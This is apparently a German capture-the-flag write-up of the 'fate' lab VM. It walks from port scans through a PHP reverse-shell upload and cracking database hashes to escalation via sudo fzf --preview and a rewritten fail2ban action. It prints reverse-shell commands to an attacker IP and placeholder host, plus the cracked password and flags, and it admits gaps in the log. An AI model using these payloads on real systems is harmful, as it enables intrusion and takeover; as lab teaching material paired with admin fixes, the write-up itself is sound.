Die initiale Erkundungsphase zur Identifizierung des Ziels und seiner Dienste.
192.168.2.109 08:00:27:f8:91:dd PCS Systemtechnik GmbH
**Analyse:** ARP-Scan findet die IP-Adresse 192.168.2.109.
**Bewertung:** Ziel-IP identifiziert.
**Empfehlung (Pentester):** Nmap-Scan durchführen. **Empfehlung (Admin):** Standard Netzwerksicherheit.
# (Wird später verwendet, aber nicht im Log gezeigt)
**Analyse:** Der Hostname `fate.hmv` wird später verwendet, daher nehmen wir an, dass ein entsprechender Eintrag in `/etc/hosts` erstellt wurde.
**Bewertung:** Erleichtert spätere Tests.
**Empfehlung (Pentester):** Hostnamen immer hinzufügen.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-24 17:40 CEST Nmap scan report for stagiaire.hmv (192.168.2.109) (Hostname im Scan nicht aktuell?) Host is up (0.00013s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: [...] 80/tcp open http nginx 1.18.0 |_http-server-header: nginx/1.18.0 |_http-title: Site doesn't have a title (text/html). 13120/tcp open http Node.js Express framework |_http-title: Gancio MAC Address: 08:00:27:F8:91:DD (Oracle VirtualBox virtual NIC) [...] OS details: Linux 4.15 - 5.6 [...] TRACEROUTE HOP RTT ADDRESS 1 0.13 ms stagiaire.hmv (192.168.2.109) (Hostname im Scan nicht aktuell?) OS and Service detection performed. [...] Nmap done: 1 IP address (1 host up) scanned in [...] seconds
**Analyse:** Der Nmap-Scan (`-sS`, `-sC`, `-T5`, `-A`, `-p-`) auf `192.168.2.109` findet drei offene Ports: * Port 22: SSH (OpenSSH 8.4p1 auf Debian). * Port 80: HTTP (Nginx 1.18.0). Die Seite hat keinen Titel. * Port 13120: HTTP, bedient von einem Node.js Express Framework. Der Seitentitel ist "Gancio", was auf eine spezifische Anwendung hindeutet (Gancio ist eine dezentrale Kalender-/Event-Plattform).
**Bewertung:** Wir haben drei Dienste: SSH, einen Standard-Nginx-Server und eine Gancio-Anwendung auf einem hohen Port. Port 80 und Port 13120 sind die primären Angriffsziele.
**Empfehlung (Pentester):** Beide Webserver untersuchen (Nikto, Gobuster, spezifische Recherche zu Gancio). SSH für spätere Logins vormerken. **Empfehlung (Admin):** Nur notwendige Ports öffnen. Dienste aktuell halten und sicher konfigurieren.
Wir untersuchen die Webserver, beginnend mit Port 80.
[...] =============================================================== http://192.168.2.109/index.html (Status: 200) [Size: 285] http://192.168.2.109/uploads (Status: 301) [Size: 169] [--> http://192.168.2.109/uploads/] http://192.168.2.109/upload.php (Status: 200) [Size: 46] =============================================================== [...]
- Nikto v2.1.6 --------------------------------------------------------------------------- [...] + Server: nginx/1.18.0 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. [...] + The X-Content-Type-Options header is not set. [...] + No CGI Directories found [...] + 7915 requests: 0 error(s) and 3 item(s) reported on remote host [...] --------------------------------------------------------------------------- + 1 host(s) tested
**Analyse:** * Gobuster auf Port 80 findet `index.html`, ein Verzeichnis `/uploads` und eine Datei `/upload.php`. Dies deutet stark auf eine File-Upload-Funktionalität hin. * Nikto auf Port 80 findet nur die üblichen fehlenden Sicherheitsheader und keine spezifischen Schwachstellen.
**Bewertung:** Die Upload-Funktion (`/upload.php`, `/uploads`) auf Port 80 ist der vielversprechendste Fund auf diesem Port.
**Empfehlung (Pentester):** Die Upload-Funktion untersuchen. Versuchen, eine Webshell (z.B. PHP-Reverse-Shell) hochzuladen und über das `/uploads`-Verzeichnis auszuführen. Die Gancio-Anwendung auf Port 13120 ebenfalls untersuchen. **Empfehlung (Admin):** Upload-Funktionen absichern (Dateityp-Validierung, Ausführungsverbot im Upload-Verzeichnis). Sicherheitsheader hinzufügen.
Wir untersuchen Port 13120 kurz.
fate.hmv [192.168.2.109] 13120 (?) open
* Trying 192.168.2.109:13120... # Fehler: curl versucht :80 * Connected to 192.168.2.109 (192.168.2.109) port 80 (#0) > HEAD / HTTP/1.1 [...] # Antwort von Port 80, nicht 13120 * Connection #0 to host 192.168.2.109 left intact * Trying 0.0.51.64:80... # Fehlerhafte IP-Interpretation * connect to 0.0.51.64 port 80 failed: Connection refused * Failed to connect to 0.0.51.64 port 80 after 0 ms: Couldn't connect to server * Closing connection 0 curl: (7) Failed to connect to 0.0.51.64 port 80 after 0 ms: Couldn't connect to server
**Analyse:** * `nc` bestätigt, dass Port 13120 offen ist. * Der `curl`-Befehl ist fehlerhaft formatiert (`curl -Iv [IP] [Port]` ist keine gültige Syntax, um den Port anzugeben). `curl` versucht stattdessen, sich mit Port 80 zu verbinden und interpretiert `13120` als Teil einer IP-Adresse, was fehlschlägt. Der korrekte Befehl wäre `curl -Iv http://192.168.2.109:13120`.
**Bewertung:** Die Untersuchung von Port 13120 war hier aufgrund des Syntaxfehlers nicht erfolgreich. Wir konzentrieren uns auf die Upload-Funktion auf Port 80.
**Empfehlung (Pentester):** Korrekte `curl`-Syntax oder Browser verwenden, um Port 13120 zu untersuchen. Fokus auf die Upload-Funktion legen. **Empfehlung (Admin):** Nicht relevant.
Wir nutzen die gefundene Upload-Funktion auf Port 80, um eine PHP-Reverse-Shell hochzuladen und auszuführen.
*(Hinweis: Der Upload-Vorgang selbst und die Vorbereitung der Shell (`rev.php` mit IP 192.168.2.153 und Port 9001) werden im Log nicht gezeigt, aber impliziert.)*
* Trying 192.168.2.109:80... * Connected to 192.168.2.109 (192.168.2.109) port 80 (#0) > HEAD /uploads/d74ac95d3f76b58b1114d40e1499027c HTTP/1.1 (Dateiname wurde gehasht/umbenannt!) > Host: 192.168.2.109 > User-Agent: curl/7.85.0 > Accept: */* > < HTTP/1.1 200 OK < Server: nginx/1.18.0 < Date: Mon, 24 Oct 2022 15:51:01 GMT < Content-Type: application/octet-stream (PHP wird nicht als PHP erkannt!) < Content-Length: 5495 < Last-Modified: Mon, 24 Oct 2022 15:49:58 GMT < Connection: keep-alive < ETag: "6356b426-1577" < Accept-Ranges: bytes < * Connection #0 to host 192.168.2.109 left intact
<span class="password">504 Gateway Time-out</span> 504 Gateway Time-out
nginx/1.18.0
**Analyse:** 1. Wir versuchen, eine hochgeladene Datei abzurufen. Der Dateiname ist ein Hash (`d74ac...`), was darauf hindeutet, dass die Upload-Funktion den ursprünglichen Dateinamen ändert. 2. Die `HEAD`-Anfrage ist erfolgreich (Status 200), aber der `Content-Type` ist `application/octet-stream`. Das bedeutet, der Webserver (Nginx) ist nicht so konfiguriert, dass er diese Datei als PHP interpretiert, sondern liefert sie nur zum Download aus. 3. Ein Versuch, die Shell mit dem Originalnamen (`shell.php`) aufzurufen, führt zu einem `504 Gateway Time-out`. Dies könnte darauf hindeuten, dass die Datei zwar existiert, aber die Ausführung durch PHP-FPM (oder einen ähnlichen Backend-Prozess) fehlschlägt oder zu lange dauert.
**Bewertung:** Der direkte Aufruf der hochgeladenen PHP-Datei funktioniert nicht, da Nginx sie nicht als PHP verarbeitet oder PHP-FPM Probleme hat. Der Upload selbst scheint jedoch funktioniert zu haben.
**Empfehlung (Pentester):** Andere Methoden prüfen: Gibt es eine LFI-Schwachstelle, um die hochgeladene Datei einzubinden und auszuführen? Gibt es Fehlkonfigurationen in Nginx/PHP-FPM? Gibt es andere Schwachstellen (z.B. in Gancio auf Port 13120)? **Empfehlung (Admin):** Sicherstellen, dass PHP-Ausführung in Upload-Verzeichnissen deaktiviert ist. Dateinamen-Hashing ist gut, verhindert aber die Ausführung nicht, wenn das Verzeichnis falsch konfiguriert ist. Timeout-Fehler untersuchen.
*(Der Bericht macht einen Sprung. Es ist unklar, wie die Reverse Shell letztendlich ausgelöst wurde. Möglicherweise wurde eine andere Schwachstelle gefunden oder die Konfiguration geändert. Wir dokumentieren den erfolgreichen Empfang der Shell.)*
listening on [any] 9001 ... connect to [192.168.2.153] from (UNKNOWN) [192.168.2.109] 59904 (IP 192.168.2.153 ist Angreifer-IP?) Linux fate 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64 GNU/Linux [...] uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ # Shell als www-data erhalten!
**Analyse:** Ein Netcat-Listener auf Port 9001 empfängt eine Verbindung vom Zielsystem (`192.168.2.109`). Wir erhalten eine Shell als Benutzer `www-data`.
**Bewertung:** Initial Access erfolgreich, auch wenn der genaue Trigger-Mechanismus unklar bleibt (wahrscheinlich wurde das Problem mit dem PHP-Upload oder der Ausführung doch noch gelöst).
**Empfehlung (Pentester):** Shell stabilisieren, System enumerieren. **Empfehlung (Admin):** Die Ursache für die RCE finden und beheben.
Als `www-data` enumerieren wir das System, insbesondere das Home-Verzeichnis und laufende Anwendungen, um Zugangsdaten oder Privesc-Pfade zu finden.
connor john sarah
note.txt user.txt
cat: john/note.txt: Permission denied
cat: john/user.txt: Permission denied
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/umount
(Keine ungewöhnlichen SUIDs)
total 20 drwxr-xr-x 4 gancio gancio 4096 Feb 16 2022 . drwxr-xr-x 3 root root 4096 Feb 16 2022 .. -rw-r--r-- 1 gancio gancio 474 Feb 16 2022 config.json drwxr-xr-x 2 gancio gancio 4096 Oct 24 16:36 logs drwxr-xr-x 3 gancio gancio 4096 Feb 16 2022 uploads
{
"baseurl": "http://192.168.1.76:13120",
"hostname": "192.168.1.76",
[...]
"db": {
"dialect": "mariadb",
[...]
"database": "gancio",
"username": "gancio",
"password": "gancio", # DB Credentials!
[...]
},
[...]
}
**Analyse:** 1. Wir finden die Home-Verzeichnisse der Benutzer `connor`, `john` und `sarah`. Wir haben keine Leserechte auf die Dateien von `john`. 2. Die Suche nach SUID-Dateien ergibt keine ungewöhnlichen Ergebnisse. 3. Im Verzeichnis `/opt/gancio` (die Anwendung von Port 13120) finden wir eine `config.json`-Datei, die dem Benutzer `gancio` gehört. 4. Wir können diese Datei als `www-data` lesen (`cat config.json`) und finden darin Datenbank-Zugangsdaten für MariaDB: User `gancio`, Passwort `gancio`, Datenbank `gancio`.
**Bewertung:** Kritischer Fund! Wir haben Datenbank-Zugangsdaten gefunden, die wahrscheinlich von der Gancio-Anwendung genutzt werden. In der Datenbank könnten Benutzerdaten (Hashes) von Gancio gespeichert sein.
**Empfehlung (Pentester):** Mit den gefundenen Credentials (`gancio`:`gancio`) über den lokalen MySQL/MariaDB-Client mit der Datenbank verbinden. Die `users`-Tabelle suchen und die Hashes der Benutzer (`admin`, `connor`) extrahieren. Versuchen, die Hashes zu knacken. **Empfehlung (Admin):** Datenbank-Credentials nicht im Klartext in Konfigurationsdateien speichern (Umgebungsvariablen oder sicherere Methoden nutzen). Dateiberechtigungen für Konfigurationsdateien härten (nur für den benötigten Benutzer lesbar machen, hier `gancio`).
Wir verbinden uns mit der Datenbank, extrahieren die Benutzer-Hashes und knacken das Passwort für `connor`.
Enter password: gancio Welcome to the MariaDB monitor. [...] MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | gancio | | information_schema | +--------------------+ [...] MariaDB [(none)]> use gancio; Database changed MariaDB [gancio]> show tables; +---------------------+ | Tables_in_gancio | +---------------------+ [...] | users | +---------------------+ [...] MariaDB [gancio]> select * from users; +----+--------------+----------+------------------+-------------+--------------------------------------------------------------+--------------+----------+-----------+------+---------------------+---------------------+ | id | display_name | settings | email | description | password | recover_code | is_admin | is_active | rsa | createdAt | updatedAt | +----+--------------+----------+------------------+-------------+--------------------------------------------------------------+--------------+----------+-----------+------+---------------------+---------------------+ | 1 | NULL | [] | admin | NULL | $2a$10$FSC73AzC1b9byrVIyEB6M.9wQTLWLC66aO3zkv4jmzCVxO9O2t.e2 | NULL | 1 | 1 | NULL | 2022-02-16 09:51:21 | 2022-02-16 09:51:21 | | 2 | NULL | [] | connor@localhost | NULL | $2a$10$U1/NLsG/tYgmr.Guimmv/eTvgTsA8.4lYRYHtqRn8N3ZE/6cGXJ1O | | 0 | 1 | NULL | 2022-02-16 09:52:04 | 2022-02-16 09:52:11 | +----+--------------+----------+------------------+-------------+--------------------------------------------------------------+--------------+----------+-----------+------+---------------------+---------------------+ [...]
[...]
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
[...]
genesis (?)
1g 0:00:00:01 DONE [...]
Use the "--show" option to display all of the cracked passwords reliably
Password: genesis connor@fate:/opt/gancio$ # Wechsel erfolgreich!
**Analyse:** 1. Wir verbinden uns erfolgreich als `gancio` mit der MariaDB-Datenbank. 2. Wir listen die Tabellen in der `gancio`-Datenbank auf und finden die `users`-Tabelle. 3. Wir lesen alle Einträge aus der `users`-Tabelle. Wir finden die Benutzer `admin` und `connor@localhost` sowie deren Passwort-Hashes (Bcrypt, `$2a$`). 4. Wir kopieren den Hash für `connor` (`$2a$10$U1...`) und versuchen, ihn mit `john` und `rockyou.txt` zu knacken. 5. John findet erfolgreich das Passwort: `genesis`. 6. Wir verwenden `su connor` und geben das geknackte Passwort `genesis` ein, um zum Benutzer `connor` zu wechseln.
**Bewertung:** Lateral Movement von `www-data` zu `connor` erfolgreich! Das Passwort von `connor` konnte aus dem Datenbank-Hash geknackt werden.
**Empfehlung (Pentester):** Umgebung als `connor` enumerieren (`sudo -l`). **Empfehlung (Admin):** Starke Passwörter verwenden, die nicht leicht zu knacken sind. Datenbankzugriff schützen.
Als Benutzer `connor` suchen wir nach weiteren Eskalationsmöglichkeiten.
Matching Defaults entries for connor on fate:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User connor may run the following commands on fate:
(john) NOPASSWD: /usr/bin/fzf
**Analyse:** `sudo -l` für `connor` zeigt, dass er den Befehl `/usr/bin/fzf` als Benutzer `john` ohne Passwort (`NOPASSWD`) ausführen darf. `fzf` ist ein Kommandozeilen-Fuzzy-Finder.
**Bewertung:** Dies ist ein klarer Privesc-Vektor zu `john`. `fzf` erlaubt oft die Ausführung von Befehlen über Optionen wie `--preview`.
**Empfehlung (Pentester):** Die `--preview`-Option von `fzf` nutzen, um einen Befehl als `john` auszuführen. Ziel ist es, eine Shell oder Reverse Shell als `john` zu erhalten. Beispiel: `sudo -u john /usr/bin/fzf --preview="bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] 0>&1'"` (oder eine direktere Reverse Shell mit `nc`). **Empfehlung (Admin):** Unsichere `sudo`-Regeln vermeiden. Tools wie `fzf`, die Befehlsausführung erlauben, sollten nicht über `sudo` für andere Benutzer zugänglich gemacht werden.
listening on [any] 9002 ...
# (fzf startet, der Preview-Befehl wird ausgeführt)
listening on [any] 9002 ... connect to [192.168.2.153] from (UNKNOWN) [192.168.2.109] 55186 # Shell als john erhalten! id # (Impliziert) uid=1001(john) gid=1001(john) groups=1001(john)
**Analyse:** 1. Wir starten einen Netcat-Listener auf Port 9002. 2. Als `connor` führen wir `sudo -u john /usr/bin/fzf` aus und verwenden die Option `--preview`, um eine Netcat-Reverse-Shell (`nc -e /bin/bash [Angreifer-IP] 9002`) als `john` zu starten. 3. Der `fzf`-Prozess führt den Preview-Befehl aus, und unser Listener empfängt die Verbindung. Wir haben eine Shell als Benutzer `john`.
**Bewertung:** Privilege Escalation von `connor` zu `john` erfolgreich durch Ausnutzung der `sudo`-Regel für `fzf`.
**Empfehlung (Pentester):** Umgebung als `john` enumerieren (`sudo -l`), User-Flag lesen. **Empfehlung (Admin):** Unsichere `sudo`-Regel entfernen.
Als Benutzer `john` suchen wir den letzten Schritt zu Root.
[...] -rwxrwx--- 1 sarah john 109 feb 16 2022 note.txt [...] -rw------- 1 john john 15 feb 16 2022 user.txt
Ineedyourboots
Hi john,
Im trying to contact you, but fail2ban is blocking me.
Please, stop it and take my message.
[...]
User john may run the following commands on fate:
(root) NOPASSWD: /usr/bin/systemctl restart fail2ban
**Analyse:** 1. Wir lesen die User-Flag (`Ineedyourboots`) aus `user.txt`. 2. Eine Datei `note.txt` erwähnt Probleme mit `fail2ban`. 3. `sudo -l` für `john` zeigt, dass er den Befehl `/usr/bin/systemctl restart fail2ban` als `root` ohne Passwort (`NOPASSWD`) ausführen darf.
**Bewertung:** Dies ist der klare Vektor zu Root. Fail2ban liest Konfigurationsdateien (`.conf`) und Aktionsdateien (`action.d/*.conf`), um zu bestimmen, welche Aktionen (z.B. `iptables`-Regeln anwenden) bei fehlgeschlagenen Logins ausgeführt werden sollen. Wenn wir eine dieser Dateien modifizieren können, um einen Befehl einzuschleusen, wird dieser beim Neustart von Fail2ban (den wir als `john` via `sudo` auslösen können) als Root ausgeführt.
**Empfehlung (Pentester):** 1. Die Fail2ban-Konfigurationsverzeichnisse (`/etc/fail2ban/`, `/etc/fail2ban/action.d/`) auf für `john` beschreibbare Dateien prüfen. 2. Wenn eine Aktionsdatei (z.B. `iptables-common.conf`) beschreibbar ist: Den Pfad zu einem auszuführenden Befehl (z.B. `iptables`) durch einen Pfad zu einem eigenen Skript ersetzen (z.B. `/tmp/exploit`). 3. Das eigene Skript (`/tmp/exploit`) erstellen und ausführbar machen. Es sollte einen Payload enthalten (z.B. Reverse Shell, SUID auf Bash). 4. `sudo /usr/bin/systemctl restart fail2ban` ausführen, um den Exploit auszulösen. **Empfehlung (Admin):** `sudo`-Regeln für Dienste wie `systemctl restart` sind gefährlich. Wenn ein Benutzer einen Dienst neu starten können muss, spezifische Skripte oder eingeschränkte Berechtigungen verwenden. Konfigurationsdateien von Sicherheitsdiensten wie Fail2ban sollten nur für Root schreibbar sein.
Wir implementieren den Fail2ban-Exploit, indem wir eine Konfigurationsdatei modifizieren.
# Ursprüngliche Zeile (Beispiel): # iptables = iptables[...] # Geänderte Zeile: iptables = /tmp/iptables # Pfad zum iptables-Befehl auf unser Skript umgebogen
listening on [any] 1234 ...
# Geänderte Zeile (Beispiel 2): actionstart = /bin/chmod u+s /bin/bash # Befehl direkt in actionstart
# (Nach kurzer Zeit sollte das SUID-Bit erscheinen)
-rwsr-xr-x [...] /bin/bash
uid=1001(john) gid=1001(john) euid=0(root) egid=0(root) grupos=0(root),1001(john)
**Analyse:** 1. Der erste Ansatz im Log verwendet einen Reverse-Shell-Payload (`nc -e ...`) in `/tmp/iptables` und versucht, den `iptables`-Befehl in der Fail2ban-Aktionsdatei darauf umzubiegen. 2. Der zweite, erfolgreich gezeigte Ansatz modifiziert direkt die `actionstart`-Direktive in einer Fail2ban-Aktionsdatei (z.B. `iptables-common.conf`), um `chmod u+s /bin/bash` auszuführen. `actionstart` wird beim Start/Neustart von Fail2ban ausgeführt. 3. Wir führen `sudo systemctl restart fail2ban` aus. Dies führt den modifizierten `actionstart`-Befehl als Root aus. 4. Das SUID-Bit wird erfolgreich auf `/bin/bash` gesetzt. 5. Wir führen `/bin/bash -p` aus, um eine Shell mit Root-Rechten (euid=0) zu erhalten.
**Bewertung:** Privilege Escalation zu Root erfolgreich! Die unsichere `sudo`-Regel für `systemctl restart fail2ban` in Kombination mit schreibbaren Fail2ban-Konfigurations-/Aktionsdateien wurde ausgenutzt.
**Empfehlung (Pentester):** Root-Flag lesen, Bericht abschließen. **Empfehlung (Admin):** `sudo`-Regel entfernen. Berechtigungen für Fail2ban-Konfigurationsdateien härten (nur für Root schreibbar).
Als Root lesen wir die Flags.
note.txt root.txt
Cyborgsdontfeelpain
**Analyse:** Aus der Root-Shell lesen wir die `root.txt`.
**Bewertung:** Root-Flag erfolgreich gelesen.
**Empfehlung (Pentester):** Ergebnisse dokumentieren. **Empfehlung (Admin):** Alle identifizierten Schwachstellen beheben.